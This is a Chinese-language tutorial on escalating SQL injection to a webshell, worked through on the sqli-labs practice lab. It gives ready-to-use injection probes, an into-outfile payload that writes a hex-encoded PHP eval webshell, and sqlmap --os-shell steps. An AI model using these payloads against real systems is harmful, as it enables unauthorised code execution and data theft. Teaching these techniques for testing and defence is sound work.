【网络安全】SQL注入新思维之webshell提权

前言

大量的hr面试官都喜欢从SQL注入开始询问,所以留心了一下关于SQL注入的问题的频率。结果非常惊讶!不出意外的是–os-shell名列榜首。

比如这道题:SQL注入getshell的方式?

答:getshell是指攻击者通过利用SQL注入获取系统权限的方法,Webshell提权分两种:一是利用outfile函数,另外一种是利用**–os-shell**;UDF提权通过堆叠注入实现;MOF提权通过"条件竞争"实现

小提示:有sql注入试着––is–dba,如果有有绝对路径就––os–shell,不行扫后台,尝试用管理员账户密码登录

Webshell提权

一、 into outfile

into outfile利用的先决条件:

web目录具有写权限,能够使用单引号
知道网站绝对路径(根目录,或则是根目录往下的目录都行)
secure_file_priv没有具体值(在mysql/my.ini中查看

secure_file_priv:secure_file_priv是用来限制load 、dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。

关于secure_file_priv的配置介绍:

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

所以如果我们要想使用into outfile函数写入一句话就需要将secure_file_priv 的值设为没有值,那如何设置呢?

答:(1)看secure-file-priv参数的值:show global variables like ‘%secure%’;若secure_file_priv 的值默认为NULL,则表示限制mysqld 不允许导入|导出

(2)修改secure_file_priv 的值:我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = ’ ’ 即可;此时再查看secure_file_priv的值如下已经变为空了,设置完成后我们就可以利用这个函数来写入一句话木马

写入webshell(以sqli-labs第七关为例)

【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥信息收集80条搜索语法
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

  1. 注入点判断
    【网络安全】SQL注入新思维之webshell提权_第1张图片

因为我们发现输入正确/错误的语法显示说语法正确/错误,即页面只存在两种状态,判断为盲注。我们输入如下代码时,所以我们通过输入如下代码可以,通过回显获得情报!

?id=1’)) – -
我们继续测试
?id=3’)) and sleep(5) --+

【网络安全】SQL注入新思维之webshell提权_第2张图片

我们发现成功延时,所以注入点就为1’)),我们输入的字符被包含在单引号中,且单引号外有两个双引号包裹;最终根据显示出"你在…使用outfile…"这个提示;我们就找到了他要是使用SQL注入"一句话木马"达到getshll的目的

  1. 判断列数

【网络安全】SQL注入新思维之webshell提权_第3张图片

补充:我们使用order by 语句判断列数,order by 3时,正常显示,4时不正常,判断为3列

  1. 写入webshell

【网络安全】SQL注入新思维之webshell提权_第4张图片

  • 加如此前我们已经通过一些方法获取到了网站的根目录,则可以写入一句话: ;建议进行十六进制转码(不用编码也可以)编码后在最前面加上0X;最后我们将一句话木马进行十六进制编码后写入了根目录下的outfile.php文件中
*   `?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'C:\xxxxxx\phpStudy\WWW\outfile.php' --+`

补充:这里网站的目录要使用双斜杠不然会写不进去,第一个斜杠是转义的意思,字符串解析不仅仅局限于C编译器,Java编译器、一些配置文件的解析、Web服务器等等,都会遇到对字符串进行解析的这个问题,由于传统的 Windows采用的是单个斜杠的路径分隔形式,导致在对文件路径进行解析的时候可能发生不必要的错误,所以就出现了用双反斜杠"“分隔路径的形式;不管解析引擎是否将反斜杠解析成转义字符,最终在内存中得到的都是”"的形式,结果也就不会出问题了

  1. 连接webshell

补充:如果我们将 secure_file_priv的值为设置为null,我们在进行上面的写入操作发现并没有写进去原因如下:所以没有写进去的情况有两种:1.网站的路径不对,或者没有使用双斜杠进行转义;2.secure_file_priv的值不是为空

二、-os-shell原理

–os-shell 大致原理是将脚本插入到数据库(也可以是日志)中,然后生成相应的代码文件,获取shell即可执行命令;–os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件

利用条件

要求为DBA数据库管理员权限(–is-dba:phpstudy搭建的一般为DBA)
php主动转义的功能关闭(PHP的GPC关闭),能使用单双引号(需要单引号路径,不能使用0x编码)
知道网站的绝对路径;文件不能覆盖写入,所以文件必须为不存在

–secure-file-priv没有值(该函数是能否执行-0s-shell的关键):–secure-file-priv是mysql5.7+的新参数,用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录

  • secure_file_priv 为 NULL 时,说明限制mysqld不允许导入或导出
  • secure_file_priv 为 /tmp 时,说明限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行
  • secure_file_priv 没有值时,说明不限制mysqld在任意目录的导入导出

补充:secure_file_priv 参数是只读参数,不能使用set global命令修改,需要在my.cnf 或 my.ini,加入secure_file_priv=''后重启Mysql

sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的)
tmpbeewq.php 用来执行系统命令
tmpuqvgw.php 用来上传文件
secure_file_priv没有具体值(在mysql/my.ini中查看)
magic_quotes_gpc:(PHP magic_quotes_gpc作用范围是:WEB客户服务端;作用时间:请求开始时)

使用Sqlmap实现步骤

1.弱口令登录
2.抓包
3.复制抓包的内容,保存为Alogin.txt(txt文件)到sqlmap目录下
4.启动sqlmap:sqlmap -r OAlogin.txt --os-shell
5.选择语言(ASP,ASPX,JSP,PHP)
6.输入绝对路径
7.写木马文件

  7.1:pwd //查看当前路径
  7.2:echo ''>> 123.php  //将木马写入123.php
  7.3:cat 123.php //打印123.php文件的内容

8.用webshell连接

路径(dns外带查询)问题

产生路径问题的原因是什么?

答:对于大多数sql注入的写Shell方式而言,网站的绝对的路径都是需要知道的,这里需要知道的原因绝不是因为outfile相对路径无法写shell,而是因为不知道路径,webshell无法连接且通过相对路径的方式写出来的shell大概率是无法执行的,或者是权限不够写

dnslog注入:即,dns带外查询是属于Mysql注入的一种方法,可以通过查询相应的dns解析记录,来获取我们想要的数据

【网络安全】SQL注入新思维之webshell提权_第5张图片

为什么需要它的帮忙?

答:一般情况下,在我们无法通过联合查询直接获取数据的情况下,我们只能通过盲注,来一步步的获取数据,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度。

LOAD_FILE()函数:LOAD_FILE()函数读取一个文件并将其内容作为字符串返回

语法为:load_file(file_name),其中file_name是文件的完整路径

该函数需要满足的条件(如下所示):

1.文件必须位于服务器主机上

2.你必须具有该FILE权限才能读取该文件。拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的,此属性与secure_file_priv状态相关

3.文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节

你可能感兴趣的:(web安全,sql,安全,渗透测试,网络安全)